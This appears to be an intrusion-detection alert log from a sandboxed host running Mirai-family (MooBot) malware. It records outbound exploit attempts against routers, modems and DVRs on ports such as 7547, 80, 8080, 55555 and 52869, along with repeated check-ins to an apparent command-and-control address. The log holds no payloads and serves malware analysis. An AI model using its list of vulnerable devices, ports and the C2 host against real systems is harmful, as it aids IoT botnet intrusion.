03/21/24-05:25:42.666869	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	38198	80	192.168.2.23	196.242.84.108
03/21/24-05:26:37.009233	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	44312	80	192.168.2.23	20.37.141.249
03/21/24-05:27:09.866025	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	50660	80	192.168.2.23	104.86.98.34
03/21/24-05:26:18.822216	TCP	2027153	ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound	57294	55555	192.168.2.23	172.87.214.231
03/21/24-05:26:36.090168	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	40994	80	192.168.2.23	107.149.188.48
03/21/24-05:26:02.007674	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	46370	7547	192.168.2.23	196.210.100.229
03/21/24-05:26:11.195514	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	35150	7547	192.168.2.23	34.43.23.196
03/21/24-05:26:16.194705	TCP	2018132	ET WORM TheMoon.linksys.router 2	38204	8080	192.168.2.23	172.67.204.93
03/21/24-05:26:45.578331	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	53860	80	192.168.2.23	187.72.230.54
03/21/24-05:26:13.877054	TCP	2027153	ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound	34694	8080	192.168.2.23	104.17.130.5
03/21/24-05:26:21.967421	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	48060	7547	192.168.2.23	201.213.18.150
03/21/24-05:26:11.069470	TCP	2030490	ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	46090	65535	192.168.2.23	109.205.214.35
03/21/24-05:26:15.043738	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	38884	80	192.168.2.23	45.60.25.103
03/21/24-05:26:54.615293	TCP	2030490	ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	47884	65535	192.168.2.23	109.205.214.35
03/21/24-05:26:11.080200	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	35140	7547	192.168.2.23	34.43.23.196
03/21/24-05:26:51.938211	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	34028	80	192.168.2.23	198.91.85.108
03/21/24-05:26:13.174507	TCP	2026102	ET EXPLOIT Linksys E-Series Device RCE Attempt	33340	55555	192.168.2.23	172.65.140.157
03/21/24-05:25:53.647534	TCP	2030490	ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	45624	65535	192.168.2.23	109.205.214.35
03/21/24-05:27:11.073553	TCP	2030490	ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	48886	65535	192.168.2.23	109.205.214.35
03/21/24-05:26:56.296870	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	39912	7547	192.168.2.23	175.240.225.222
03/21/24-05:27:09.751188	TCP	2835221	ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 - Outbound (metasploit version)	44994	80	192.168.2.23	23.202.65.219
03/21/24-05:26:07.498882	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	53486	7547	192.168.2.23	222.111.188.185
03/21/24-05:27:13.621502	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	40330	7547	192.168.2.23	98.4.227.113
03/21/24-05:27:13.747316	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	40340	7547	192.168.2.23	98.4.227.113
03/21/24-05:26:23.235490	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	48080	7547	192.168.2.23	201.213.18.150
03/21/24-05:25:42.666869	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	38198	80	192.168.2.23	196.242.84.108
03/21/24-05:26:41.579838	TCP	2027153	ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound	51216	55555	192.168.2.23	172.65.198.155
03/21/24-05:26:37.887420	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	47786	80	192.168.2.23	37.151.229.89
03/21/24-05:26:18.663520	TCP	2026102	ET EXPLOIT Linksys E-Series Device RCE Attempt	37890	55555	192.168.2.23	172.65.62.9
03/21/24-05:25:59.892244	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	39232	7547	192.168.2.23	110.66.27.9
03/21/24-05:26:07.423644	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	46574	7547	192.168.2.23	218.148.98.14
03/21/24-05:26:34.984093	TCP	2018132	ET WORM TheMoon.linksys.router 2	33410	8080	192.168.2.23	98.96.198.103
03/21/24-05:26:35.844733	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	40402	80	192.168.2.23	162.217.156.5
03/21/24-05:26:07.127375	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	41188	7547	192.168.2.23	177.138.109.192
03/21/24-05:26:16.481239	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	48750	7547	192.168.2.23	86.150.122.60
03/21/24-05:26:36.090168	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	40994	80	192.168.2.23	107.149.188.48
03/21/24-05:25:59.752399	TCP	2018132	ET WORM TheMoon.linksys.router 2	55598	8080	192.168.2.23	172.67.202.117
03/21/24-05:26:23.261473	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	58060	7547	192.168.2.23	27.147.114.253
03/21/24-05:26:29.375618	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	56774	7547	192.168.2.23	74.73.120.108
03/21/24-05:26:18.567899	TCP	2026102	ET EXPLOIT Linksys E-Series Device RCE Attempt	39436	55555	192.168.2.23	172.65.4.29
03/21/24-05:25:30.469632	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	60178	80	192.168.2.23	52.43.75.238
03/21/24-05:26:45.186276	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	39868	80	192.168.2.23	41.225.233.153
03/21/24-05:26:13.409387	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	51400	7547	192.168.2.23	78.185.217.124
03/21/24-05:27:14.075621	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	49562	7547	192.168.2.23	14.62.241.44
03/21/24-05:27:06.596641	TCP	2835221	ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 - Outbound (metasploit version)	48944	80	192.168.2.23	54.197.65.32
03/21/24-05:25:13.799338	TCP	2030490	ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	45070	65535	192.168.2.23	109.205.214.35
03/21/24-05:26:48.624199	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	56126	80	192.168.2.23	4.208.97.243
03/21/24-05:26:33.790026	TCP	2026102	ET EXPLOIT Linksys E-Series Device RCE Attempt	56020	8080	192.168.2.23	175.233.25.38
03/21/24-05:27:13.789374	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	49542	7547	192.168.2.23	14.62.241.44
03/21/24-05:26:55.786844	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	36946	80	192.168.2.23	23.50.29.254
03/21/24-05:26:11.988988	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	36110	7547	192.168.2.23	67.7.23.118
03/21/24-05:25:54.691854	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	37698	7547	192.168.2.23	92.172.61.75
03/21/24-05:26:51.585956	TCP	2025756	ET EXPLOIT D-Link DSL-2750B - OS Command Injection	36102	80	192.168.2.23	23.202.52.135
03/21/24-05:26:39.648691	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	50100	80	192.168.2.23	220.133.212.108
03/21/24-05:25:59.718271	TCP	2027153	ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound	54294	55555	192.168.2.23	172.65.160.132
03/21/24-05:26:51.938211	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	34028	80	192.168.2.23	198.91.85.108
03/21/24-05:26:11.861854	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	33834	7547	192.168.2.23	5.22.89.147
03/21/24-05:26:11.977040	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	45154	7547	192.168.2.23	72.107.204.77
03/21/24-05:25:59.551679	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	32822	7547	192.168.2.23	46.138.241.167
03/21/24-05:26:00.036834	TCP	2018132	ET WORM TheMoon.linksys.router 2	45392	8080	192.168.2.23	172.67.41.140
03/21/24-05:25:41.480974	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	59660	80	192.168.2.23	139.64.175.176
03/21/24-05:26:12.053811	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	53174	80	192.168.2.23	23.3.189.112
03/21/24-05:25:38.421617	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	49932	80	192.168.2.23	23.128.248.125
03/21/24-05:26:39.579506	TCP	2030490	ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	47664	65535	192.168.2.23	109.205.214.35
03/21/24-05:26:16.153428	TCP	2030490	ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	46512	65535	192.168.2.23	109.205.214.35
03/21/24-05:26:11.095602	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	37400	7547	192.168.2.23	45.53.188.176
03/21/24-05:26:05.849548	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	59884	7547	192.168.2.23	70.20.37.97
03/21/24-05:26:36.415557	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	53136	80	192.168.2.23	212.129.39.194
03/21/24-05:26:08.421601	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	55144	80	192.168.2.23	95.101.176.237
03/21/24-05:25:12.459503	TCP	2030490	ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	45068	65535	192.168.2.23	109.205.214.35
03/21/24-05:25:54.424189	TCP	2027153	ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound	53498	55555	192.168.2.23	172.65.26.42
03/21/24-05:26:18.568479	TCP	2018132	ET WORM TheMoon.linksys.router 2	40694	55555	192.168.2.23	172.65.62.164
03/21/24-05:27:02.312604	TCP	2831299	ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 (metasploit version)	42752	80	192.168.2.23	51.89.133.14
03/21/24-05:26:37.887420	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	47786	80	192.168.2.23	37.151.229.89
03/21/24-05:26:13.409454	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	54084	7547	192.168.2.23	144.86.5.175
03/21/24-05:26:18.822216	TCP	2018132	ET WORM TheMoon.linksys.router 2	57294	55555	192.168.2.23	172.87.214.231
03/21/24-05:26:56.123581	TCP	2018132	ET WORM TheMoon.linksys.router 2	34818	8080	192.168.2.23	172.67.102.24
03/21/24-05:26:35.844733	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	40402	80	192.168.2.23	162.217.156.5
03/21/24-05:27:09.751271	TCP	2831299	ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 (metasploit version)	41492	80	192.168.2.23	212.220.85.79
03/21/24-05:27:09.751188	TCP	2831299	ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 (metasploit version)	44994	80	192.168.2.23	23.202.65.219
03/21/24-05:26:45.578331	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	53860	80	192.168.2.23	187.72.230.54
03/21/24-05:26:07.144315	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	46562	7547	192.168.2.23	218.148.98.14
03/21/24-05:25:52.308005	TCP	2030490	ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	45608	65535	192.168.2.23	109.205.214.35
03/21/24-05:26:55.625384	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	34262	80	192.168.2.23	57.128.169.125
03/21/24-05:27:13.933657	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	46978	7547	192.168.2.23	94.187.117.182
03/21/24-05:25:44.993964	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	33008	80	192.168.2.23	107.23.24.185
03/21/24-05:26:22.280917	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	46334	7547	192.168.2.23	14.67.209.80
03/21/24-05:25:54.979616	TCP	2030490	ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	45648	65535	192.168.2.23	109.205.214.35
03/21/24-05:26:39.648691	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	50100	80	192.168.2.23	220.133.212.108
03/21/24-05:26:33.789900	TCP	2026102	ET EXPLOIT Linksys E-Series Device RCE Attempt	52042	8080	192.168.2.23	115.3.111.124
03/21/24-05:26:37.009233	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	44312	80	192.168.2.23	20.37.141.249
03/21/24-05:26:55.590380	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	37334	80	192.168.2.23	69.164.56.22
03/21/24-05:27:02.256940	TCP	2018132	ET WORM TheMoon.linksys.router 2	50758	8080	192.168.2.23	172.65.94.16
03/21/24-05:26:18.518778	TCP	2030490	ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	46732	65535	192.168.2.23	109.205.214.35
03/21/24-05:25:30.469602	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	52396	80	192.168.2.23	185.246.18.254
03/21/24-05:26:45.186276	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	39868	80	192.168.2.23	41.225.233.153
03/21/24-05:27:09.751188	TCP	2025756	ET EXPLOIT D-Link DSL-2750B - OS Command Injection	44994	80	192.168.2.23	23.202.65.219
03/21/24-05:25:54.233269	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	53658	7547	192.168.2.23	75.205.163.33
03/21/24-05:27:11.331573	TCP	2026102	ET EXPLOIT Linksys E-Series Device RCE Attempt	39528	8080	192.168.2.23	104.24.162.36
03/21/24-05:26:31.275447	TCP	2026102	ET EXPLOIT Linksys E-Series Device RCE Attempt	51256	55555	192.168.2.23	172.65.210.0
03/21/24-05:25:59.630155	TCP	2026102	ET EXPLOIT Linksys E-Series Device RCE Attempt	50846	55555	192.168.2.23	172.65.184.114
03/21/24-05:25:39.348664	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	40184	80	192.168.2.23	45.38.15.252
03/21/24-05:26:48.654414	TCP	2030490	ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	47750	65535	192.168.2.23	109.205.214.35
03/21/24-05:26:38.223879	TCP	2030490	ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	47614	65535	192.168.2.23	109.205.214.35
03/21/24-05:25:53.195053	TCP	2018132	ET WORM TheMoon.linksys.router 2	43368	8080	192.168.2.23	172.67.233.125
03/21/24-05:26:36.415557	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	53136	80	192.168.2.23	212.129.39.194
03/21/24-05:26:08.421601	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	55144	80	192.168.2.23	95.101.176.237
03/21/24-05:26:23.819418	TCP	2026102	ET EXPLOIT Linksys E-Series Device RCE Attempt	60746	55555	192.168.2.23	172.65.74.110
03/21/24-05:26:16.370263	TCP	2026102	ET EXPLOIT Linksys E-Series Device RCE Attempt	60692	55555	192.168.2.23	172.65.102.206
03/21/24-05:26:12.168689	TCP	2835221	ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 - Outbound (metasploit version)	59494	80	192.168.2.23	45.76.25.172
03/21/24-05:26:51.365307	TCP	2030490	ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	47798	65535	192.168.2.23	109.205.214.35
03/21/24-05:26:44.169623	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	56924	80	192.168.2.23	195.159.251.17
03/21/24-05:25:30.469632	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	60178	80	192.168.2.23	52.43.75.238
03/21/24-05:26:18.568331	TCP	2027153	ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound	52988	55555	192.168.2.23	172.65.243.233
03/21/24-05:26:46.442211	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	57556	80	192.168.2.23	103.12.49.145
03/21/24-05:26:44.169623	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	56924	80	192.168.2.23	195.159.251.17
03/21/24-05:27:07.390094	TCP	2049119	ET EXPLOIT D-Link DSL-2750B Command Injection Attempt (CVE-2016-20017)	39500	80	192.168.2.23	212.43.115.25
03/21/24-05:26:55.590380	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	37334	80	192.168.2.23	69.164.56.22
03/21/24-05:26:15.251655	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	43284	7547	192.168.2.23	174.110.227.32
03/21/24-05:27:13.145002	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	42812	7547	192.168.2.23	121.7.59.12
03/21/24-05:25:44.282020	TCP	2030490	ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	45530	65535	192.168.2.23	109.205.214.35
03/21/24-05:26:08.421621	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	40210	80	192.168.2.23	212.53.214.96
03/21/24-05:26:12.345479	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	35846	7547	192.168.2.23	81.151.14.142
03/21/24-05:25:30.469602	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	52396	80	192.168.2.23	185.246.18.254
03/21/24-05:26:23.804238	TCP	2027153	ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound	60764	55555	192.168.2.23	172.65.74.110
03/21/24-05:27:11.806318	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	32858	7547	192.168.2.23	156.235.98.200
03/21/24-05:26:22.555980	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	45300	7547	192.168.2.23	61.76.54.192
03/21/24-05:26:52.054196	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	41730	80	192.168.2.23	34.195.150.228
03/21/24-05:27:06.596641	TCP	2831299	ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 (metasploit version)	48944	80	192.168.2.23	54.197.65.32
03/21/24-05:25:39.348664	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	40184	80	192.168.2.23	45.38.15.252
03/21/24-05:27:13.582469	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	33106	7547	192.168.2.23	50.48.213.123
03/21/24-05:26:12.520901	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	36130	7547	192.168.2.23	81.151.14.142
03/21/24-05:26:30.585683	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	34974	80	192.168.2.23	131.148.74.14
03/21/24-05:25:59.321665	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	35590	7547	192.168.2.23	115.20.204.85
03/21/24-05:25:38.169186	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	40968	80	192.168.2.23	172.168.155.7
03/21/24-05:26:15.604368	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	36166	7547	192.168.2.23	81.151.14.142
03/21/24-05:26:52.054196	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	41730	80	192.168.2.23	34.195.150.228
03/21/24-05:25:59.628821	TCP	2026102	ET EXPLOIT Linksys E-Series Device RCE Attempt	40162	55555	192.168.2.23	172.65.30.84
03/21/24-05:25:35.984334	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	60602	80	192.168.2.23	66.96.147.195
03/21/24-05:26:23.163855	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	33788	7547	192.168.2.23	97.120.114.191
03/21/24-05:26:38.267585	TCP	2027153	ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound	59132	8080	192.168.2.23	34.117.53.26
03/21/24-05:26:55.169299	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	60384	7547	192.168.2.23	177.106.151.127
03/21/24-05:26:54.851085	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	49328	7547	192.168.2.23	64.32.108.117
03/21/24-05:25:59.314146	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	39170	7547	192.168.2.23	110.66.27.9
03/21/24-05:26:12.612296	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	46388	7547	192.168.2.23	179.153.183.144
03/21/24-05:26:18.822216	TCP	2026102	ET EXPLOIT Linksys E-Series Device RCE Attempt	57294	55555	192.168.2.23	172.87.214.231
03/21/24-05:25:55.399080	TCP	2018132	ET WORM TheMoon.linksys.router 2	50534	8080	192.168.2.23	172.65.225.232
03/21/24-05:26:18.568479	TCP	2026102	ET EXPLOIT Linksys E-Series Device RCE Attempt	40694	55555	192.168.2.23	172.65.62.164
03/21/24-05:27:02.281128	TCP	2030490	ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	48346	65535	192.168.2.23	109.205.214.35
03/21/24-05:26:01.326050	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	42474	80	192.168.2.23	217.25.9.155
03/21/24-05:26:07.780482	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	53502	7547	192.168.2.23	222.111.188.185
03/21/24-05:27:09.181110	TCP	2030490	ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	48852	65535	192.168.2.23	109.205.214.35
03/21/24-05:26:24.233486	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	60150	7547	192.168.2.23	174.112.142.104
03/21/24-05:26:07.495602	TCP	2018132	ET WORM TheMoon.linksys.router 2	43990	8080	192.168.2.23	172.67.234.104
03/21/24-05:26:39.648644	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	36800	80	192.168.2.23	40.82.218.181
03/21/24-05:26:11.878727	TCP	2018132	ET WORM TheMoon.linksys.router 2	57096	8080	192.168.2.23	172.66.167.240
03/21/24-05:26:52.228497	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	60160	80	192.168.2.23	54.203.79.201
03/21/24-05:26:12.263474	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	46838	80	192.168.2.23	91.197.142.75
03/21/24-05:26:19.864131	TCP	2030490	ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	46796	65535	192.168.2.23	109.205.214.35
03/21/24-05:26:53.280767	TCP	2030490	ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	47834	65535	192.168.2.23	109.205.214.35
03/21/24-05:26:36.033937	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	60136	80	192.168.2.23	69.197.128.121
03/21/24-05:26:13.877054	TCP	2026102	ET EXPLOIT Linksys E-Series Device RCE Attempt	34694	8080	192.168.2.23	104.17.130.5
03/21/24-05:25:54.424189	TCP	2018132	ET WORM TheMoon.linksys.router 2	53498	55555	192.168.2.23	172.65.26.42
03/21/24-05:25:54.875735	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	57386	80	192.168.2.23	52.39.160.57
03/21/24-05:26:15.293052	TCP	2026102	ET EXPLOIT Linksys E-Series Device RCE Attempt	34744	8080	192.168.2.23	188.120.197.16
03/21/24-05:26:37.400526	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	33066	80	192.168.2.23	200.218.225.222
03/21/24-05:26:41.579838	TCP	2026102	ET EXPLOIT Linksys E-Series Device RCE Attempt	51216	55555	192.168.2.23	172.65.198.155
03/21/24-05:27:06.596641	TCP	2025756	ET EXPLOIT D-Link DSL-2750B - OS Command Injection	48944	80	192.168.2.23	54.197.65.32
03/21/24-05:26:18.322398	TCP	2835221	ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 - Outbound (metasploit version)	33784	80	192.168.2.23	35.174.120.235
03/21/24-05:26:57.629548	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59412	52869	192.168.2.23	94.121.54.83
03/21/24-05:25:22.122887	TCP	2030490	ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	45158	65535	192.168.2.23	109.205.214.35
03/21/24-05:26:12.263474	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	46838	80	192.168.2.23	91.197.142.75
03/21/24-05:26:13.409436	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	46436	7547	192.168.2.23	179.153.183.144
03/21/24-05:26:18.567899	TCP	2027153	ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound	39436	55555	192.168.2.23	172.65.4.29
03/21/24-05:26:00.639045	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	33224	7547	192.168.2.23	78.29.95.90
03/21/24-05:26:32.857565	TCP	2030490	ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	47190	65535	192.168.2.23	109.205.214.35
03/21/24-05:25:57.927528	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	32776	7547	192.168.2.23	46.138.241.167
03/21/24-05:26:12.470941	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	35172	7547	192.168.2.23	34.43.23.196
03/21/24-05:26:57.859389	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59592	52869	192.168.2.23	94.121.54.83
03/21/24-05:26:51.585956	TCP	2835221	ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 - Outbound (metasploit version)	36102	80	192.168.2.23	23.202.52.135
03/21/24-05:26:12.172836	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	56416	7547	192.168.2.23	66.74.206.108
03/21/24-05:27:06.734022	TCP	2049119	ET EXPLOIT D-Link DSL-2750B Command Injection Attempt (CVE-2016-20017)	32930	80	192.168.2.23	212.12.25.31
03/21/24-05:25:59.593370	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	42252	7547	192.168.2.23	115.7.229.68
03/21/24-05:26:35.536763	TCP	2030490	ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	47566	65535	192.168.2.23	109.205.214.35
03/21/24-05:26:18.580595	TCP	2026102	ET EXPLOIT Linksys E-Series Device RCE Attempt	36950	8080	192.168.2.23	104.21.217.182
03/21/24-05:26:10.964919	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	33882	7547	192.168.2.23	184.97.112.118
03/21/24-05:26:43.259549	TCP	2030490	ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	47682	65535	192.168.2.23	109.205.214.35
03/21/24-05:26:01.326050	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	42474	80	192.168.2.23	217.25.9.155
03/21/24-05:26:09.578404	TCP	2026102	ET EXPLOIT Linksys E-Series Device RCE Attempt	56108	8080	192.168.2.23	66.242.144.69
03/21/24-05:25:54.875735	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	57386	80	192.168.2.23	52.39.160.57
03/21/24-05:25:46.944879	TCP	2030490	ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	45560	65535	192.168.2.23	109.205.214.35
03/21/24-05:27:13.778277	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	48758	7547	192.168.2.23	119.195.203.79
03/21/24-05:26:37.400526	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	33066	80	192.168.2.23	200.218.225.222
03/21/24-05:25:59.630155	TCP	2018132	ET WORM TheMoon.linksys.router 2	50846	55555	192.168.2.23	172.65.184.114
03/21/24-05:26:11.787303	TCP	2018132	ET WORM TheMoon.linksys.router 2	45836	8080	192.168.2.23	172.93.105.79
03/21/24-05:26:36.033937	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	60136	80	192.168.2.23	69.197.128.121
03/21/24-05:26:45.801611	TCP	2018132	ET WORM TheMoon.linksys.router 2	48108	55555	192.168.2.23	172.65.223.69
